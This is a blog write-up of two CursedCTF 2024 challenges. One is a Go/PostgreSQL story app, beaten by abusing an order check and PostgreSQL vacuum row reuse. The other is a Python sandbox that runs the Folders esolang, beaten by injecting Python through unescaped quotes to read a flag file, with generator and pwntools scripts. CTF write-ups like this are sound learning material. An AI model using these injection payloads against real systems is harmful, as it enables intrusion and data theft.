Home CursedCTF 2024
Post
Cancel

CursedCTF 2024

Web - Hero’s Journey

Challenge description

Hero’s Journey consists of a website in which you can create a story by writing in text to different sections as depicted in the following image:

So let’s exploit this!

Code review

This application is written in golang and uses PostgreSQL as the database of choice.

We find the following HTTP endpoints:

1
2
3
4
5
6
7
func (s *Server) RegisterRoutes(x *http.ServeMux) {
	x.HandleFunc("/", s.index)
	x.HandleFunc("/hero", s.hero)
	x.HandleFunc("/create_hero", s.createHero)
	x.HandleFunc("/update_event", s.updateEvent)
	x.HandleFunc("/flag", s.flag)
}

Let’s take a look at what happens when we create a hero

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
func (s *Server) createHero(rw http.ResponseWriter, req *http.Request) {
	lock.Lock()
	defer lock.Unlock()

	c, err := req.Cookie(cookieName)
	if err != nil {
		rw.WriteHeader(http.StatusBadRequest)
		rw.Write([]byte{0x6e, 0x61, 0x68, 0x20, 0x62, 0x72, 0x75, 0x68})
		return
	}
	tenant := uuid.MustParse(c.Value)

	d := db.New(s.db, tenant)

	if h, _ := d.GetHero(req.Context()); h != nil {
		rw.WriteHeader(http.StatusBadRequest)
		rw.Write([]byte("because of unintended solutions stemming from multiple paralell storylines, we cannot provide you with a second story, it would just be unfair to the challenge author who wants to see you suffer"))
		return
	}

	events := []*models.Event{}

	err = json.Unmarshal([]byte(req.URL.Query().Get("events")), &events)
	if err != nil {
		rw.WriteHeader(http.StatusBadRequest)
		rw.Write([]byte("bad json"))
		return
	}

	last := 0
	for _, e := range events {
		if int(e.Type) != last && int(e.Type) != last+1 { // jikes
			rw.Write([]byte("Get your words straight, Jack!"))
			return
		}
		last = int(e.Type)
	}

	id, err := d.CreateHero(req.Context(), req.URL.Query().Get("name"), events)
	if err != nil {
		rw.Write([]byte(err.Error()))
		return
	}

	http.Redirect(rw, req, "/hero?id="+strconv.Itoa(id), http.StatusFound)
}

In the first two lines of this function, we can see a mutex lock is called, this will prevent any race condition as all requests are handled one at a time.

We then ensure we have a cookie set and return an error if not.

Afterwards, it will create a new connection to the database and make sure our cookie is a valid UUID (As per RFC 4122), later checking if we already have created a hero with this cookie, in which case it will deny our request and return.

After this, it will JSON decode the values we have sent over the HTTP GET request and make sure it’s valid. The JSON we send over looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[
  {
    "type": 0,
    "description": "Called into adventure"
  },
  {
    "type": 1,
    "description": "Refuses"
  },
  {
    "type": 2,
    "description": "meets"
  },
  {
    "type": 3,
    "description": "cross"
  },
  {
    "type": 4,
    "description": "step 4"
  },
  {
    "type": 5,
    "description": "step 5"
  },
  {
    "type": 6,
    "description": "step 6"
  }
]

The code then checks if the order in which we sent the types is correct, from smallest to largest (0-6). However, a flaw that we can observe with the check of int(e.Type) != last && int(e.Type) != last+1 is that we can supply the same step multiple times. This will be handy later on.

We then create the hero with this story and redirect the user to its page!

Looking at the source of the flag page, we can see that a requirement for the story is that the struct:

1
2
3
4
5
6
7
8
type StorySimulation struct {
	adventureAccepted           bool
	andTheyWereHappyEverAfter   bool
	mentorAlive                 bool
	inKnownWorld                bool
	abyssDone                   bool
	emotionalTransformationDone bool
}

Has the field andTheyWereHappyEverAfter set to true. Let’s take a look at how the story is executed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
func simulate(events []*db.Event) (*StorySimulation, error) {
	ss := NewStorySimulation()

	for _, e := range events {
		switch e.Type {
		case models.CallToAdventure:

			if !ss.inKnownWorld {
				return nil, errors.New("what the hecking d...")
			}

		case models.Refusal:
			ss.adventureAccepted = false

		case models.MeetingMentor:
			ss.mentorAlive = true
			ss.adventureAccepted = true

		case models.CrossingThreashold:
			if !ss.adventureAccepted {
				return nil, errors.New("that doesn't make any sense!")
			}
			ss.inKnownWorld = false

		case models.Abyss:
			if ss.inKnownWorld {
				return nil, errors.New("wrong place")
			}

			ss.abyssDone = true

		case models.DeathOfMentor:

			if ss.inKnownWorld {
				return nil, errors.New("keep your facts straight")
			}

			ss.mentorAlive = false
			ss.emotionalTransformationDone = true

		case models.Return:

			if !ss.abyssDone {
				return nil, errors.New("need to abyss yourself first!")
			}

			if ss.inKnownWorld {
				return nil, errors.New("returning in wierd ways are for the pwn people! stop trying to be quirky")
			}

			if !ss.emotionalTransformationDone {
				return nil, errors.New("don't try to trick me again! get your act together")
			}

			if ss.mentorAlive {
				ss.andTheyWereHappyEverAfter = true
			}

			ss.inKnownWorld = true

			return ss, nil

		default:
			fmt.Println(e.Type)
			return nil, errors.New("are you mad!?")
		}
	}
	return nil, errors.New("oi bruv")
}

By default, the struct is initiated with all values set to false except for inKnownWorld.

Let’s see what happens on each step:

  • Step 0: Checks inKnownWorld is true
  • Step 1: Set adventureAccepted to false
  • Step 2: Set mentorAlive and adventureAccepted to true
  • Step 3: Checks adventureAccepted is true, then set inKnownWorld to false
  • Step 4: Checks inKnownWorld is false and sets abyssDone to true
  • Step 5: Checks inKnownWorld is false and sets mentorAlive to false and emotionalTransformationDone to true
  • Step 6: Checks abyssDone and emotionalTransformationDone is set to true and inKnownWorld is set to false. If mentorAlive is true, then it gives us the flag, then it returns the struct state and sets in inKnownWorld to true

This may sound like a mess but it simply means that we need to execute all steps in order, but execute step 2 before step 6 if we want the flag. But… how can we do this?

The check from before makes sure that the story is always in order, so we cannot just send the value in the incorrect position.

Let’s take a look at another endpoint, used to update a stage in the story. What this function does is just modify the description of one of the stages, nothing else. However, it will only update the values if the values are in order.

The function to query the stages when we want to get the flag executes them in the order they are within the database. This makes an exploit possible.

When we update values in Postgres, it will copy the row we are editing and send it to the bottom, leaving its previous space behind.

So, we can modify the order of the stages after we have created the story, so it seems like the obvious next step would be to update all the values in the order we want them to be executed. However, this is not possible because the order check is executed before any change, so as soon as we update one value and the table becomes disorganised, we will not be able to edit any more descriptions.

We need to abuse another of PostgreSQL’s features, this is called vacuuming.

Let’s imagine that the picture above depicts a table with 7 rows. These rows contain the stages 0 through 6.

As we explained before, when we update the values of the table, they will be cloned and put at the bottom, leaving behind an empty space

One might think that the next value we update will be put into the empty row, as to reuse space. However, this does not happen. Or at least until the table is “vacuumed”.

The empty spaces are non-writable. However, when the table is vacuumed, these become writable. When PostgreSQL then searches for the first place it can write into, it will not be the end of the table, it will be the first of the empty writable rows.

This would mean that, after updating the last value (Which conserves the order of the stages so we can update another value in the future), it will create an empty row, and if we can somehow trigger a vacuum to the table, the next time we update a value it will be placed before the last stage. This is exactly what we want.

So, how exactly do we trigger this vacuum? PostgreSQL by default will automatically run this vacuum after 50 rows are “empty” in the table after 1 minute. So if we update the last value 50 times and then update stage 2, we will get the order of 1, 2, 3, 4, 5, 2, 6. So let’s see the steps to exploit this.

  1. Create a hero with stage IDs of 1, 2, 2, 3, 4, 5, 6
  2. Update the description of the last stage 50 times.
  3. Wait a minute or two for safe measure.
  4. Update the description of stage 2.
  5. Go to /flag
  6. Profit

After we do this, we see the following page:

Misc - folderjail

Challenge description:

look at this amazing esolang i found from hackthebox cyber apolcogzlyaeze. nc chals.4.cursedc.tf 32001

Challenge code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/local/bin/python

import os
import shutil
import tarfile
from folders.folders import FolderAnalyzer, FolderTranspiler

TMP_DIR = '/tmp/program'
def unzip_tar_gz(hex_input):
    tar_gz_data = bytes.fromhex(hex_input)

    if os.path.exists(TMP_DIR):
        shutil.rmtree(TMP_DIR)
    os.makedirs(TMP_DIR, exist_ok=True)

    with open(TMP_DIR + '/archive.tar.gz', 'wb') as f:
        f.write(tar_gz_data)

    with tarfile.open(TMP_DIR + '/archive.tar.gz', 'r:gz', dereference=False) as tar:
        tar.extractall(TMP_DIR)

    os.remove(TMP_DIR + '/archive.tar.gz')

hex_input = input("> ")
unzip_tar_gz(hex_input)

tokens = FolderAnalyzer(TMP_DIR).lex()
code = FolderTranspiler(tokens).transpile()

exec(code)

This challenge uses the esolang Folders in which your program is encoded in the directory structure of folders rather than in actual files. We can submit our directory program to the challenge server in a tar.gz file and it then gets interpeted by the Folders.py python library. Writing a program in the Folders language however isn’t enough for us to be able to read flag.txt from the challenge server as the Folders language only supports some basic functions. Instead we can exploit the python library as it has code injection. When we encode a string for example in Folders this library that converts it to Python doesn’t sanitize double quotes so we can simply include those in our string literal and provide whatever Python code we want after that.

We made this program to generate a folder tree that represent a string literal:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import os

s = b'");print(open("/app/flag.txt").read());print("'

os.mkdir("gen/")

for i in range(len(s)):
    c = s[i]
    h = hex(c)[2:]

    os.mkdir(f"gen/{i}")
    os.mkdir(f"gen/{i}/hex1")
    os.mkdir(f"gen/{i}/hex2")

    a, b = bin(int(h[0], 16))[2:].rjust(4, "0"), bin(int(h[1], 16))[2:].rjust(4, "0")

    for j in range(len(a)):
        d = a[j]
        os.mkdir(f"gen/{i}/hex1/{j}")
        if d == "1":
            os.mkdir(f"gen/{i}/hex1/{j}/1")

    for j in range(len(b)):
        d = b[j]
        os.mkdir(f"gen/{i}/hex2/{j}")
        if d == "1":
            os.mkdir(f"gen/{i}/hex2/{j}/1")

Then we took the HelloWorld example from the Python library github and replaced the contents of “New Folder/New folder (2)/New Folder (3)” with the folders we generated.

Create the tar file with tar -czf payload.tar.gz .

Finally we submit the tar file to the server with this script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

def read_file_as_hex(file_path):
    try:
        with open(file_path, "rb") as file:
            return file.read().hex()
    except FileNotFoundError:
        print(f"Error: File '{file_path}' not found.")

file_path = "lol.tar.gz"
hex = read_file_as_hex(file_path)

conn = remote('chals.4.cursedc.tf',32001)
conn.recvuntil(b'>')
conn.send(hex)
conn.interactive()

Initially I tried sending with netcat but that complained about unexpected EOF at 4096 which is some kind of terminal limitation.

Running the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python lol.py
[+] Opening connection to chals.4.cursedc.tf on port 32001: Done
/home/chieftan/ctf/cursedctf24/folderjail/lol.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  conn.send(hex)
[*] Switching to interactive mode
 $
$

cursed{i_4ctually_H8_h4ck_th3_BOX}

No, seriously, this isn't a joke. Hack the Box kidnapped my family. They stole my Crocs. I hate them.

Because of Hack the Box, my bike brake broke and I almost died. Because of Hack the Box, I was banned from my favorite pub. Because of Hack the Box, Elon Musk banned me from Xitter.

Thank you Hack the Box for giving me a $15 Giftcard. I will be sure to use this gift card to purchase a shirt that is not overpriced in any way.

Hack The Box is a Great Place to Study Cybersecurity and Learn about offensive Hacking and cyberfsecurity of the securting cyber cybe fcy e rbc yebrf shas theo ahck the box hjajklfndsob tose hosd thuos pdohbvsodufhbnsdop;fbhno
[*] Got EOF while reading in interactive
This post is licensed under CC BY 4.0 by the author.